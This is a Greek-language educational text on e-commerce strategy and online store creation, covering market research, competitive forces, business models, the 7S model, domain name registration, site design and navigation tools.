Τα διαδικτυακά κουπόνια, τα οποία παρέχουν, συνήθως, μειωμένο κόστος ή δωρεάν· αποστολή ή κάποια άλλη προσφορά, για να ενθαρρύνουν τους καταναλωτές είτε να αγοράσουν συγκεκριμένα προϊόντα είτε να αγοράσουν από συγκεκριμένους εμπόρους· λιανικής πώλησης.

Στρατηγική Και Δημιουργία Ηλεκτρονικού Καταστήματος Σημαντικός παράγοντας για να εισέλθει σωστά μια εταιρεία στο ηλεκτρονικό εμπόριο είναι η εταιρεία, που θα αναλάβει την σχεδίαση και την υλοποίηση του εταιρικού δικτυακού τυπου. Το marketing είναι τόσο σημαντικό, ίσως και περισσότερο, για το ηλεκτρονικό εμποριο όσο και για το παραδοσιακό εμπόριο. Φαίνεται να υπερισχύει στο ηλεκτρονικό εμπόριο γιατί προϊόν και πελάτης δεν έχουν καμία φυσική επαφή.

Έτσι λοιπόν πριν αποφασιστεί ποια στρατηγική θα ακολουθηθεί προκειμένου το ηλεκτρονικό κατάστημα να υλοποιηθεί χρειάζεται μια έρευνα αγοράς στο διαδίκτυο. Η έρευνα αγοράς έχει στόχο στο να βρει πληροφορίες που αναλύουν τη σχέση πρακτικής marketing, καταναλωτή και αγαθών. Τα είδη της έρευνας αγοράς που είναι κατάλληλα για το διαδί-κτυο είναι τέσσερα: 1.

Ποσοτική: πότε, που, πώς και πόσοι αγοράζουν.

2.

Ποιοτική : γνώμες και πεποιθήσεις των καταναλωτών.

3.

Πρωτογενή : η έρευνα που γίνεται για πρώτη φορά.

4.

Δευτερογενή : όταν έχουν προηγηθεί άλλες έρευνες με υπάρχοντα

αποτελέσματα. Τα στοιχεία που συλλέγονται σε μια έρευνα αγοράς είναι πάρα πολλά όπως το μέγεθος της αγοράς, τα επιμέρους τμήματά της (π.χ. ρούχα για γυναίκες, άντρες και παιδιά), το ρυθμό ανάπτυξής της, τις προτιμήσεις των καταναλωτών την ανταπόκριση των καταναλωτών στις διαφημίσεις και στις προσφορές, ποιοι είναι οι ανταγωνιστές, που βρίσκονται, πόσο μεγάλοι και πόσοι είναι, ποιο το προϊόν τους, η αξία του και τα κανάλια διανομής του. Τα πλεονεκτήματα των ηλεκτρονικών ερευνών αγοράς είναι : •

η ευκολία του καταναλωτή να απαντήσει στο ερωτηματολόγιο όταν έχει χρόνο, το χαμηλό κόστος, η γρήγορη διανομή των ερωτηματολογίων και η συλλογή των απαντηθέντων,

•

η εύκολη πρόσβαση στους καταναλωτές, τα ερωτηματολόγια είναι δυνατόν να παρουσιαστούν με πολυμέσα, η ελάττωση του χρόνου επεξεργασίας των στοιχείων και,

•

η δυνατότητα να αποσταλούν, να απαντηθούν και να ληφθούν τα ερωτηματολόγια ανά πάσα στιγμή του 24ώρου.

Όπως κάθε έρευνα αγοράς εκτός από τα πλεονεκτήματα έχει και ορισμένα μειονεκτήματα: 1. Δεν είναι δυνατόν να διεξαγάγει «συνεντεύξεις σε βάθος», δηλαδή να κατανοεί την συμπεριφορά, τα κίνητρα και τη στάση προς το αγαθό και όχι μόνο να συλλέγει στοιχεία. 2. Είναι δύσκολο να εξακριβωθεί το πραγματικό προφίλ του ερωτηθέντα εκτός και αν συλλεχθούν οι ηλεκτρονικές διευθύνσεις από φορείς στους οποίους οι καταναλωτές έχουν δώσει τα στοιχεία τους. 3. Δεν μπορούν να γίνουν «πειράματα» σχετικά με τη χρήση, δοκιμή του αγαθού πα-ρά μόνο σε multimedia αγαθά (π.χ. μουσικά κομμάτια, βιβλία, CDs). 4. Στη χώρα μας συγκεκριμένα δεν μπορεί να είναι αντιπροσωπευτικά τα αποτελέσματα της έρευνας γιατί το προφίλ των ερωτηθέντων δεν ταυτίζεται με αυτό του μέσου

Έλληνα λόγω της μικρής επισκεψιμότητας στο διαδίκτυο. Μειονέκτημα το οποίο δεν υφίσταται εάν αναφερόμαστε σε αγαθό που έχει στόχο τους χρήστες του διαδικτύου. 5. Αδυναμία τήρησης συγκεκριμένων προθεσμιών στη συλλογή και έλεγχο των ερωτηματολογίων. Ένας τρόπος για να τηρηθούν οι προθεσμίες είναι να δοθούν κίνητρα όπως εκπτώσεις, δείγματα προϊόντων προς τον καταναλωτή ώστε να τον δελεάσει να απαντήσει μέσα στις προθεσμίες.

6. Λόγω της έλλειψης προσωπικής επαφής δεν είναι δυνατόν να γνωρίζουμε εάν οι απαντήσεις είναι ειλικρινείς και ακριβείς πράγμα που στις κατ ιδίαν συνεντεύξεις ένας έμπειρος συνεντευκτής θα μπορούσε να ψυχολογήσει τον ερωτηθέντα για το αν είναι ειλικρινής. Όπως στο παραδοσιακό marketing έτσι και στο ηλεκτρονικό χρησιμοποιούνται τέσσερις μέθοδοι έρευνας αγοράς: τα πειράματα, τα ερωτηματολόγια, την παρατήρηση μέσω cookies και τις ομάδες συζήτησης. Οι υπεύθυνοι του marketing, έχοντας στα χέρια τους τα στοιχεία της έρευνας αγοράς δύνανται να κατασκευάσουν, να τιμολογήσουν και να λανσάρουν το κατάλληλο αγαθό, την κατάλληλη στιγμή στο κατάλληλο κοινό. Για να βρουν και να καταγράψουν τις συμπεριφορές και τις τάσεις των καταναλωτών χρησιμοποιούν ειδικά προγράμματα, τους «έξυπνους διαμεσολαβητές» (intelligent agents). Ξεκινώντας κάποιος να σχεδιάσει κάποιο ηλεκτρονικό κατάστημα έχει να υπολογίσει εκτός από τους καταναλωτές τους ανταγωνιστές που θα αντιμετωπίσει, τις αγορές και τις εσωτερικές διαδικασίες τις εταιρείας.

Φτιάχνοντας το στρατηγικό του σενάριο προσπαθεί να ανακαλύψει νέες ευκαιρίες, να εκμεταλλευτεί τις ευκαιρίες επικοινωνίας με τους πελάτες και τους συνεργάτες του, να δημιουργήσει πιστούς διαδικτυακούς πελάτες, να αποφύγει τις αρνητικές επιπτώσεις του διαδικτύου στην εταιρεία του και πολλά άλλα. Η ανάλυση της επιχείρησης και του περιβάλλοντος της είναι άκρως απαραίτητη για να επιλεχθεί η κατάλληλη στρατηγική. Με την ανάλυση αυτή εντοπίζονται οι ευκαιρίες που πρέπει να εκμεταλλευτούν και αποκρούονται οι πιθανές απειλές που υπάρχουν στην αγορά. Επίσης αξιολογείται η δυνατότητα της εταιρείας να αποκρούει τις απειλές και να εκμεταλλεύεται τις ευκαιρίες που παρουσιάζονται. Σημειωτέον, αν η εταιρία είναι αδύναμη ή αν δεν υπάρχουν ευκαιρίες τότε θα πρέ-πει να αλλάξει κατεύθυνση π.χ. αν μια εταιρία δεν έχει την υποδομή να πουλήσει ηλεκτρονικούς

υπολογιστές ή αν οι ανταγωνιστές της είναι πιο αξιόπιστοι και έχουν πιο προσιτές τιμές τότε θα πρέπει να αλλάξει πεδίο δράσης.

Ψάχνοντας τις ευκαιρίες και τις απειλές είναι αναγκαίο να εξεταστεί εξ ολοκλήρου το περιβάλλον στο οποίο κυμαίνεται η επιχείρηση, δηλαδή την αγορά, τους καταναλωτές και τους ανταγωνιστές Το κέρδος κάθε επιχείρησης επηρεάζεται από τις πέντε επικρατούσες δυνάμεις της αγοράς:

Η δύναμη των προμηθευτών η οποία μέσω του διαδικτύου άλλοτε αυξάνεται και άλλοτε μειώνεται π.χ. όταν ο παραγωγός φθάνει απ ευθείας τον καταναλωτή παρακάμπτοντας τους μεσάζοντες η δύναμη του παραγωγού αυξάνεται ενώ όταν οι καταναλωτές μέσω των e-marketplaces βρίσκουν προμηθευτές η δύναμη αυτών μειώνεται. Μέσω του διαδικτύου η δύναμη των καταναλωτών αυξάνεται λόγω του ότι τους δί-νεται η δυνατότητα να αναζητούν αγαθά και να συγκρίνουν τιμές όχι μόνο από εγχώρια αλλά και από διεθνής ιστοσελίδες.

Ο ανταγωνισμός μεταξύ των εταιρειών ενός κλάδου αυξάνεται στο διαδίκτυο, λόγω του ότι είναι εύκολο στις επιχειρήσεις να εισέλθουν σε αγορές του εξωτερικού και προσπαθώντας να ανταγωνιστούν η μία την άλλη διαπιστώνεται μείωση των κερδών τους.

Στο διαδίκτυο μειώνονται τα εμπόδια εισόδου σε μία αγορά, λόγω του ότι για την έναρξη δραστηριότητας μιας εταιρείας ή και επέκτασής της στο εξωτερικό, τα κόστη μειώνονται αισθητά.

Η απειλή από υποκατάστατα προϊόντα είναι αισθητή στο διαδίκτυο γιατί η ταχύτητα προώθησης και πώλησης νέων προϊόντων χωρίς μεγάλο κόστος διαφήμισης και διακίνησης σε πολλές αγορές ανατρέπει τις ισορροπίες. Η μείωση των κερδών και ο κατακερματισμός της αγοράς είναι το αποτέλεσμα του ανωτέρου.

Μια επιχείρηση προσπαθεί να αποκτήσει έσοδα μέσω επιχειρηματικών μοντέλων. Αυτό δεν είναι εύκολο και εξαρτάται από τις δυνατότητες της επιχείρησης και από τις

ευκαιρίες της αγοράς. Επιπλέον, ένα μοντέλο σχετικά οικονομικό και εύκολο στο στήσιμο ενδέχεται να μην φέρει κέρδη. Αναλυτικά τα επιχειρηματικά μοντέλα του διαδικτύου είναι τα κάτωθι:

Ηλεκτρονικά

πολυκαταστήματα,

Ηλεκτρονικό

κατάστημα,Ηλεκτρονικοί

προμηθευτές,Κοινότητες,Συνεργασίες, Πλειστηριασμοί, Προμηθευτές υποστηρικτικών υπηρεσιών, Πάροχοι «πληροφοριών», Ανεξάρτητες ιστοσελίδες εμπορικών συναλλαγών.

Ο σημαντικότερος παράγοντας που λαμβάνει υπόψη της μια επιχείρηση για το αν θα αναπτυχθεί διαδικτυακά είναι οι καταναλωτές. Οι υπεύθυνοι της εταιρείας συγκεντρώνουν πληροφορίες σχετικά με το ποσοστό των καταναλωτών που χρησιμοποιούν το διαδίκτυο, το ποσοστό των καταναλωτών που θα αγόραζαν από το διαδίκτυο, το ποσοστό των καταναλωτών που θα επηρεάζονταν από το διαδίκτυο και τους ενδοιασμούς που έχουν οι καταναλωτές ως προς το να προμηθεύονται από το διαδίκτυο.

Το διαδίκτυο έχει αλλάξει το τοπίο του ανταγωνισμού λόγω του ότι έδωσε την δυνατότητα στις επιχειρήσεις να ανταγωνίζονται όχι μόνο τις εγχώριες αλλά και του εξωτερι-κού. Επομένως πρέπει να παρακολουθηθούν εκτός από τους εγχώριους ανταγωνιστές και αυτοί του εξωτερικού (η αποτελεσματικότητα και ο τρόπος επικοινωνίας τους, τα επίπεδα εξυπηρέτησης, τα επιχειρηματικά μοντέλα που χρησιμοποιούν).

Αυτό επιτυγχάνεται χρησιμοποιώντας εταιρίες συμβούλων, επισκεπτόμενοι ομάδες συζητήσεων, τις ιστοσελίδες των ανταγωνιστών κλπ. Το πιο σημαντικό σε μια επιχείρηση η οποία θέλει να κατακτήσει το διαδίκτυο είναι να αναλύσει τις δυνάμεις της και τις αδυναμίες της.

Οι αδυναμίες της και οι δυνάμεις της επικεντρώνονται:

Στην οικονομική της κατάσταση,Στην διοίκηση,Στις υπηρεσίες και προϊόντα της,Στο εκπαιδευμένο προσωπικό της,Στις καινοτομίες της,Στον όνομά της στην αγορά.,Στην παραγωγή της.

Όσο πιο πολλές είναι οι δυνάμεις της μπορεί ευκολότερα να αρπάξει τις ευκαιρίες και να αντισταθεί στις απειλές, ενώ αν οι αδυναμίες της υπερισχύουν γίνεται ευάλωτη στις απειλές και δεν μπορεί να εκμεταλλευτεί τις ευκαιρίες.

Ένα γνωστό μοντέλο που χρησιμοποιείται για την αξιολόγηση μιας επιχείρησης είναι το 7S το οποίο αναπτύχθηκε στις αρχές της δεκαετίας του ’80 από την εταιρεία McKinsey και περιγράφει τους εσωτερικούς παράγοντες που επηρεάζουν την ανάπτυξη μιας επιχείρησης.

Το όνομα του το πήρε από τα αρχικά των λέξεων των εξεταζόμενων στοιχείων, τα οποία είναι:

Staff (προσωπικό): είναι κατάλληλο και αρκετό ή θα πρέπει να αντικατασταθεί με νέο «αίμα»; Strategy (στρατηγική): θέλει η επιχείρηση να πετύχει τους στόχους της δοκιμάζοντας νέους τρόπους ή είναι συντηρητική και δεν ξεφεύγει από την πεπατημένη; Style (στυλ): είναι το στυλ της διοίκησης της επιχείρησης έτοιμο να ρισκάρει την είσοδό της στο διαδίκτυο; Ο διευθύνων σύμβουλος θα το υποστηρίξει; Superordinate goals (απώτεροι στόχοι): οι διευθύνοντες θεωρούν την είσοδο στο διαδίκτυο επιχειρηματικό σκοπό της επιχείρησης ή όχι; Systems (συστήματα): τα υπάρχοντα συστήματα της εταιρείας είναι εξελιγμένα ή είναι ανάγκη να σχεδιαστούν πάλι και να επικαιροποιηθούν; Structure (δομή): είναι ικανή η υπάρχουσα δομή της εταιρείας να λειτουργήσει μέσω διαδικτύου ή πρέπει να αλλάξει; Skills (δεξιότητες): είναι αρκετές για την νέα δραστηριότητα ή είναι αναγκαία εκπαίδευση;

Το σημαντικότερο λοιπόν ρόλο στην είσοδο μιας επιχείρησης στο διαδίκτυο την έχει ο διευθύνων σύμβουλος ο οποίος θα ενθαρρύνει ή θα αποθαρρύνει την επιχείρηση στο να εισέλθει στο διαδίκτυο. Οι άνθρωποι του marketing τμηματοποιούν/ομαδοποιούν τους καταναλωτές μιας αγοράς ανάλογα με γεωγραφικά, δημογραφικά κλπ κριτήρια για να μπορέσουν να καλύψουν τις διαφορετικές ανάγκες τους όσο το δυνατόν περισσότερο.

Κατόπιν η εταιρεία στοχεύει επιλέγει για την προώθηση και τις πωλήσεις μία ομάδα της αγοράς (target group). Και τέλος η εταιρεία διαφοροποιείται από τις ανταγωνίστριες εταιρείες εξαντλώντας όλες τις δυνατότητες που τους δίνει το διαδίκτυο με το να γίνει η πλέον ανταγωνιστική για τον καταναλωτή (γρηγορότερη εξυπηρέτηση, εξατομίκευση, μείωση κόστους κλπ). Η επιχείρηση προχωρώντας στη διαμόρφωση της στρατηγικής της σχετικά με το τι ιστοσελίδα θέλει να αναπτύξει έχει τις κάτωθι στρατηγικές επιλογές: Τη δημιουργία ενός δικτυακού τόπου που θα προβάλει τα προϊόντα της επικοινωνώντας με e-mail προκειμένου να δοκιμάσει το διαδίκτυο ή να ενδυναμώσει την εικόνα της. Τη δημιουργία ενός δικτυακού ηλεκτρονικού καταλόγου όπου θα είναι δυνατόν να αναζητούνται τα προϊόντα με τις τιμές τους και θα υπάρχει αμφίδρομη επικοινωνία δίνοντας την ευκαιρία στην επιχείρηση να προχωρήσει παραπέρα δημιουργώντας την φίρμα της, εκμεταλλευόμενη τους μηχανισμούς καταγραφής των συνηθειών των επισκεπτών της.

Η δημιουργία μιας ιστοσελίδας προσφοράς υπηρεσιών και ανάπτυξης σχέσεως με τον καταναλωτή η οποία είναι η αντίστοιχη του δικτυακού ηλεκτρονικού καταλόγου αλλά αφορά όμως υπηρεσίες. Οι ιστοσελίδες αυτές προσφέροντας δωρεάν πληροφορίες υπηρεσίες δρουν σαν δόλωμα για να δημιουργήσουν σχέσεις με πιθανούς πελάτες και να προσφέρουν υπηρεσίες επί πληρωμή. Η δημιουργία ενός ηλεκτρονικού καταστήματος που θα διαθέτει ενημερωμένο και πλήρη τιμοκατάλογο με δυνατότητα αγορών και αμφίδρομης επικοινωνίας. Τη δημιουργία ενός εξατομικευμένου ηλεκτρονικού καταστήματος που θα διαθέτει ενημερωμένο και πλήρη τιμοκατάλογο με δυνατότητα αγορών και αμφίδρομης επικοινωνίας με κάθε πελάτη ξεχωριστά. Η διεξαγωγή e-επιχειρείν, δηλαδή να γίνονται μέσω διαδικτύου όλες οι επιχειρηματικές διαδικασίες (προμήθειες, πωλήσεις κλπ). Η δημιουργία ξεχωριστού κομματιού στην επιχείρηση με άλλη επωνυμία που θα δραστηριοποιείται στο διαδίκτυο. Την πώληση προϊόντων και υπηρεσιών της μόνο μέσω διαδικτύου, μη εφικτό όνειρο κάθε επιχειρηματία. Την πώληση των αγαθών μέσω διαδικτυακών ενδιάμεσων, μειώνοντας έτσι το κόστος επένδυσης.

Ο επιχειρηματίας για να επικρατήσει η εταιρεία του εφαρμόζει διάφορες στρατηγικές συνεργασίας ή ανταγωνισμού. Ακολουθώντας τις στρατηγικές συνεργασίας όπως κοινή επιχειρηματική δραστηριότητα ή συνεταιρισμούς μεταξύ της εταιρίας και του προμηθευτή ή του διανομέα αποκτούν μείωση του οικονομικού κινδύνου, είσοδο σε νέες αγορές, απόκτηση γνώσεων και παραγωγικού δυναμικού δημιουργώντας έτσι ανταγωνιστικό πλεονέκτημα.

Χρησιμοποιώντας στρατηγικές ανταγωνισμού, όπως πλάγια επίθεση, κατά μέτωπο επίθεση, δημιουργία χαμηλών προσδοκιών κέρδους, δημιουργία μπλόκου, η εταιρεία βάλει κατά του ανταγωνισμού ούτως ώστε να επικρατήσει στην αγορά. Συμπερασματικά ανεξάρτητα των στόχων και της θέσης της επιχείρησης τα κύρια σημεία της σωστής στρατηγικής μιας επιτυχημένης παρουσίας στο διαδίκτυο είναι η εδραίωση της αξιοπιστίας της, η δημιουργία σχέσης έναν προς έναν με τους πελάτες της, η εδραίωση ασφάλειας συναλλαγών, η διάδοση της παρουσίας της στο διαδίκτυο, η ταχύτητα παράδοσης των αγαθών της και η δημιουργία επίκαιρου και ελκυστικού περιεχομένου στην ιστοσελίδα της. Προχωρώντας η εταιρεία στην εκτέλεση της στρατηγικής που επέλεξε ακολουθεί τα κάτωθι βήματα προκειμένου να επιτύχει.

Πληροφορεί και εκπαιδεύει το δυναμικό της για το τι θα κάνει, γιατί θα το κάνει και πως θα το κάνει.

Σιγουρεύεται ότι ο διευθύνων σύμβουλος ηγείται και στηρίζει τη διαδικτυακή στρατηγική. Κατανοεί τι περιμένει το κοινό της (καταναλωτές, προμηθευτές κ.α.) από το διαδικτυακό της τόπο και φυσικά το προσφέρει.

Επανεξετάζει τη φύση των αγαθών και υπηρεσιών που προσφέρει αυξάνοντας τα και βελτιώνοντας τα. Επανεξετάζει τις διαδικασίες διανομής.

Δημιουργεί σχέσεις συνεργασίας μεταξύ δικτυακού και μη δικτυακού marketing. Επαγρυπνεί διότι και στο διαδίκτυο βρίσκονται ανταγωνιστές.

Δεν ακολουθεί την τακτική του μοναχικού καβαλάρη αλλά συμμαχεί και συνεργάζεται με άλλες επιχειρήσεις όταν υπάρχει αμοιβαίο κέρδος.

Είναι σίγουρό ότι κάθε επιχείρηση πριν αποφασίσει να επενδύσει στο ηλεκτρονικό εμπόριο θα ήθελε να μπορεί να προβλέψει με κάποιο λογικό ποσοστό ακρίβειας την πιθανότητα επιτυχίας της.

Αυτό επιτυγχάνεται με μια σειρά κριτηρίων όπως το προϊόν, το κοινό στο οποίο στοχεύει, την τιμή, τα κανάλια διανομής, το περιβάλλον και την προώθηση του προϊόντος. Αναλύοντας τα κριτήρια αυτά, τα συμπεράσματα που θα βγουν εκτός από το αρχικό ερώτημα μπορούν να χρησιμεύσουν στο να κατανείμει σωστά τον προϋπολογισμό της, να εντοπίσει και να επωφεληθεί από τις αδυναμίες του ανταγωνισμού, να προβλέψει τυχόν αδυναμίες που μπορεί να προκύψουν και να βάλει προτεραιότητες στους στόχους της.

Εξετάζοντας τα κριτήρια επιτυχίας συμπεραίνουμε ότι εάν ισχύουν τα περισσότερα από τα παρακάτω τότε οι πιθανότητες επιτυχίας εισόδου στο ηλεκτρονικό εμπόριο είναι αυξημένες. 1. Το προϊόν: α.Απλό στη χρήση β.Παγκόσμια απήχηση γ.Νέο και μοναδικό στην αγορά δ.Γνωστό ως όνομα στην αγορά ε.Είδος που θα μπορούσε ο καταναλωτής να αγοράσει χωρίς την άμεση επαφή μαζί του

2. Το κοινό στο οποίο στοχεύει: α.Άνδρες και γυναίκες β.Υψηλής μόρφωσης γ.Χρήστες ηλεκτρονικών υπολογιστών και διαδικτύου

3. Η τιμή του προϊόντος: α.Σε φυσιολογικά όρια β.Μη συχνή αλλαγή της

4. Τα κανάλια διανομής:

α.Φιλοξενούν ανταγωνιστικά προϊόντα β.Δεν καλύπτουν την γεωγραφική περιοχή στην οποία βρίσκεται το κοινό γ.Έχουν υψηλό κόστος για την εταιρεία

5. Το περιβάλλον: α.Ανταγωνιστικό β.Τεχνολογικό γ.Πολιτικό δ.Οικονομικό ε.Κοινωνικό

6. Η προώθηση του προϊόντος: α.Ξεπερνάει το στάδιο της απλής γνωστοποίησης του προϊόντος β.Ενίσχυση της προβολής του μέσω διαδικτύου

Εκπαιδευτική υποενότητα 3.2 Δημιουργία Ηλεκτρονικού Καταστήματος

Η δημιουργία ενός ηλεκτρονικού καταστήματος εξαρτάται από τους στόχους που έχει κάθε εταιρεία που αποφασίζει να μπει στο διαδίκτυο. Δημιουργεί ένα δικτυακό τόπο αφενός μεν για να ανεβάσει το επίπεδο υπηρεσιών της, να αυξήσει τις πωλήσεις της και την ταχύτητα πληροφόρησης συνεργατών και πελατών της μειώνοντας το κόστος της και αφετέρου για να προσφέρει κάτι μοναδικό όπως άμεση πληροφόρηση τιμών, ανταλλαγές μηνυμάτων, εξειδικευμένες πληροφορίες ή υπηρεσίες, εκπαίδευση εξ αποστάσεως.

Κυρίως όμως για να προβληθεί σε ευρύτερα γεωγραφικά όρια. Όσο πιο σωστή προετοιμασία έχει πραγματοποιήσει ως προς την επιλογή της στρατηγικής, των στόχων της τόσο πιο εύκολος και πιο ελκυστικός θα είναι ο σχεδιασμός του δικτυακού τόπου της επιχείρησης.

Σημαντικό είναι στη δημιουργία ενός δικτυακού τόπου όχι μόνο οι συναλλαγές με τους πελάτες αλλά η ενδυνάμωση της υπάρχουσας εικόνας που έχει για την εταιρεία ο καταναλωτής. Η δημιουργία ενός δικτυακού τόπου με ιδιαίτερη προσωπικότητα θα προσελκύσει τους επισκέπτες ούτως ώστε να θέλουν να συναλλάσσονται μέσω διαδικτύου με την εταιρεία.

Ανάλογα με την προσωπικότητα που θέλει η εταιρεία να δώσει στον δικτυακό της τόπο θα επιλέξει κάποια από τα κάτωθι στοιχεία: 1. α. Όνομα (domain name) στον παγκόσμιο ιστό, β. Εικαστικά δηλαδή εικόνες, ήχοι, κείμενο, βίντεο,

2. α. Πλοήγηση όπως μενού, μηχανή αναζήτησης, sitemap, image maps, παραπομπές, β. Κατάλογος προϊόντων,

3. α. Συναλλαγές δηλαδή καλάθι αγορών, διαδικασία παραγγελίας και πληρωμής, ασφάλεια συναλλαγών, β. Επικοινωνία όπως έντυπα ενημέρωσης (newsletter), online chatting, φόρμες έρευνας

αγοράς, παραπόνων, αίτησης πληροφοριών,

4. α. Εξατομίκευση δηλαδή πληροφόρηση, παρουσίαση και υπηρεσίες σύμφωνα με τις ανάγκες του κάθε επισκέπτη, β. Παγκόσμια εικόνα όπως διαχείριση, γλώσσες, βαθμός ομοιογένειας.

Όνομα Ηλεκτρονικού Καταστήματος

Το όνομα του δικτυακού τόπου της μορφής www.όνομα_εταιρείας.gr κατοχυρώνεται σε έναν από τους 300 περίπου παρόχους υπηρεσιών κατοχύρωσης ονομάτων, η λίστα των οποίων βρίσκεται στη σελίδα www.gr. Η κατοχύρωση του ονόματος γίνεται από τον πάροχο υπηρεσιών που φιλοξενεί το όνομα της εταιρείας στο server του πληρώνοντας ετήσια συνδρομή. Επισκεπτόμενη την σελίδα www.gr η εταιρεία ανακαλύπτει εάν το όνομα που επιθυμεί να κατοχυρώσει είναι διαθέσιμο. Πληκτρολογώντας το όνομα που θέλει εάν η αναζήτηση της εμφανίσει το μήνυμα ότι το συγκεκριμένο όνομα δεν βρέθηκε τότε μπορεί να το καταχωρήσει.

Στην περίπτωση που το όνομα ήταν κατοχυρωμένο η σελίδα αναζήτησης θα έβγαζε τα στοιχεία της εταιρείας ή του ιδιώτη που το έχει κατοχυρώσει ή εάν είχαν ζητήσει απόκρυψη των στοιχείων τους θα έβγαζε απλά το μήνυμα ότι το όνομα είναι κατοχυρωμένο.

Η εθνική επιτροπή τηλεπικοινωνιών και ταχυδρομείων είναι ο αρμόδιος οργανισμός για την νομική διαχείριση ονομάτων τύπου .gr. Η αντίστοιχη υπηρεσία για τα ονόματα τύπου .com/.net/.org είναι η Internic η οποία είναι ένας εξουσιοδοτημένος αντιπρόσωπος της ICANN (Internet Corporation for Assigned Names and Numbers).

Η ICANN είναι η νομική αρχή παγκοσμίως για τα ονόματα του διαδικτύου και βάζει τους κανόνες (τις καταλήξεις) ανώτατου επιπέδου. Εκτός από τα ονόματα του τύπου που αναφέραμε

παραπάνω

υπάρχουν

www.όνομα_παρόχου.gr/όνομα_εταιρείας

και

ονόματα ή

του

του

τύπου τύπου

όνομα_εταιρείας.όνομα_παροχέα.gr . Η διαδικασία κατοχύρωσης του ονόματος εδώ είναι πιο απλή. Απλά δηλώνει το όνομα που επιθυμεί στον πάροχο υπηρεσιών διαδικτύου της (υπηρεσία που συνήθως προσφέρεται δωρεάν). Η κατοχύρωση του ονόματος αυξάνει και την αξιοπιστία της επιχείρησης γιατί ο επισκέπτης σχηματίζει άλλη εικόνα όταν βλέπει πως μια εταιρεία έχει επενδύσει στο χώρο του internet χρησιμοποιώντας όνομα τύπου www.όνομα_εταιρείας.gr. Οι εταιρείες που δραστηριοποιούνται σε πολλές χώρες θα πρέπει να κατοχυρώνουν το όνομα της εταιρείας σε όλες τις χώρες. Επίσης πολλές εταιρείες κατοχυρώνουν τα ονόματα των προϊόντων τους θέλοντας να κερδίσουν τον επισκέπτη του διαδικτύου που αναζητά προϊόντα με το όνομά τους. Επίσης κατοχυρώνουν ονόματα που περιγράφουν τη χρήση ή τον τύπο του προϊόντος που προσφέρουν. Το όνομα του δικτυακού τόπου πρέπει να περιγράφει τις υπηρεσίες και τα προϊόντα που προσφέρονται με τον καλύτερο δυνατό τρόπο.

Αν λοιπόν το επιθυμητό όνομα έχει κατοχυρωθεί με την κατάληξη .gr οι επιλογές που έχει η εταιρεία είναι αφενός μεν να αλλάξει την κατάληξη σε .com/.biz/.eu/.info ή σε συνδυασμό καταλήξεων .com.grή αφετέρου να τροποποιήσει το όνομα.

Το Εικαστικό Κομμάτι Του Σχεδιασμού

Η επιλογή της προσωπικότητας ενός ηλεκτρονικού καταστήματος εξαρτάται αφενός από την προσωπικότητα της επιχείρησης και αφετέρου από την προσωπικότητα του κοινού στο οποίο απευθύνεται.

Η δημιουργία της προσωπικότητας ενός ηλεκτρονικού καταστήματος στηρίζεται στο κείμενο, την ποσότητά του, το είδος της γραμματοσειράς, το πόσο σοβαρό, φιλικό, εύθυμο ύφος έχει, τα χρώματα που θα έχει το κείμενο, τα χρώματα της σελίδας, τα γραφικά εικόνες και φωτογραφίες, οι τεχνολογίες όπως flash, java, realaudio, shockwave.

Κάνοντας διαφορετικούς συνδυασμούς δημιουργούνται διαφορετικές προσωπικότητες μιας ιστοσελίδας. Με έντονα και λίγα χρώματα, με περιεκτική και απέριττη γλώσσα και με κλασικές γραμματοσειρές δημιουργείται μια ιστοσελίδα με επιχειρηματική εικόνα. (Δίπλα εικόνα)

Με έντονη σοφιστικέ γλώσσα με γραμματοσειρές όχι ιδιαίτερα καλλιγραφικές, με χρήση γραφικών, με αντιθέσεις στα χρώματα (κυρίως άσπρο-μαύρο) και με χρήση τεχνολογιών java, realaudio, shockwave δημιουργείται μια ιστοσελίδα με προσωπικότητα υψηλής τεχνολογίας.

Για να δημιουργηθεί φιλική και προσιτή προσωπικότητα χρησιμοποιούνται χρώματα για τον τονισμό των λέξεων, απλές γραμματοσειρές, φιλική γλώσσα, γήινα χρώματα και φωτογραφίες.

Ενώ για να δημιουργηθεί απρόβλεπτη και απρόσμενη προσωπικότητα χρησιμοποιείται σοφιστικέ γλώσσα, ασυνήθιστες συνθέσεις χρωμάτων, σχέδια και ασυνήθιστες γραμματοσειρές.

Τονίζεται ότι, η προσωπικότητα της ιστοσελίδας πρέπει να μιλά την γλώσσα των επισκεπτών της και όχι της επιχείρησης για να έχει συχνές επισκέψεις. Επίσης το κατάλληλο λογισμικό μεταμορφώνει το ηλεκτρονικό κατάστημα από μια στατική σελίδα σε δυναμική.

Τέλος αυτά που πρέπει να προσέξει μία επιχείρηση στην ενδυνάμωση της εικόνας του ηλεκτρονικού καταστήματός της είναι οι σελίδες της να είναι κατασκευασμένες έτσι ώστε να διευκολύνουν και όχι να δυσκολεύουν τον επισκέπτη, να μην περιέχουν πολλές εφαρμογές οι οποίες αυξάνουν το χρόνο φόρτωσης της σελίδας,

να ανανεώνονται συνεχώς, να είναι συμβατές με τα προγράμματα περιήγησης της αγοράς (Microsoft Explorer/Mozilla/Chrome κ.α.), να ενημερώνει τις παραπομπές της τακτικά και να διατη-ρούν την ισορροπία ανάμεσα στα γραφικά και στο κείμενο έχοντας πάντα υπ’ όψιν το κοι-νό στο οποίο απευθύνονται.

Εύκολα Εργαλεία Πλοήγησης

Ένας δικτυακός τόπος που είναι εύκολος στην πλοήγηση προσελκύει τον επισκέπτη να παραμείνει και να γνωρίσει τα αγαθά και τις υπηρεσίες και ίσως να αγοράσει παραπάνω από όσα ήθελε. Τα παρακάτω εργαλεία πλοήγησης κάνουν εύκολη την περιήγηση του επισκέπτη στην ιστοσελίδα.

Μενού αρχικής σελίδας και μενού υποσέλιδων. Είναι η πιο συνηθισμένη μορφή βοήθειας. Το βασικό μενού της κεντρικής σελίδας αναλύει τις κύριες ενότητες του ιστότοπου ενώ τα μενού των υποσέλιδων αναλύουν τις επιλογές της κάθε ενότητας.

Μηχανή αναζήτησης για την συγκεκριμένη ιστοσελίδα. Ο επισκέπτης βάζοντας λέξεις κλειδιά αναζητά προϊόντα μόνο σε αυτή την ιστοσελίδα.

Χάρτης του δικτυακού τόπου (sitemap). Φαινομενικά δείχνει με οργανόγραμμα της εταιρείας με τη διαφορά ότι κάθε λέξη δηλώνει αντί για τμήμα, σελίδες της δικτυακής παρουσίας.

Μπάρες ή γραμμές πλοήγησης.

Image maps. Υπάρχουν στο κείμενο μιας σελίδας και παραπέμπουν σε ένα άλλο σημείο (πολιτική επιστροφών, τιμολογιακή πολιτική) του δικτυακού τόπου.
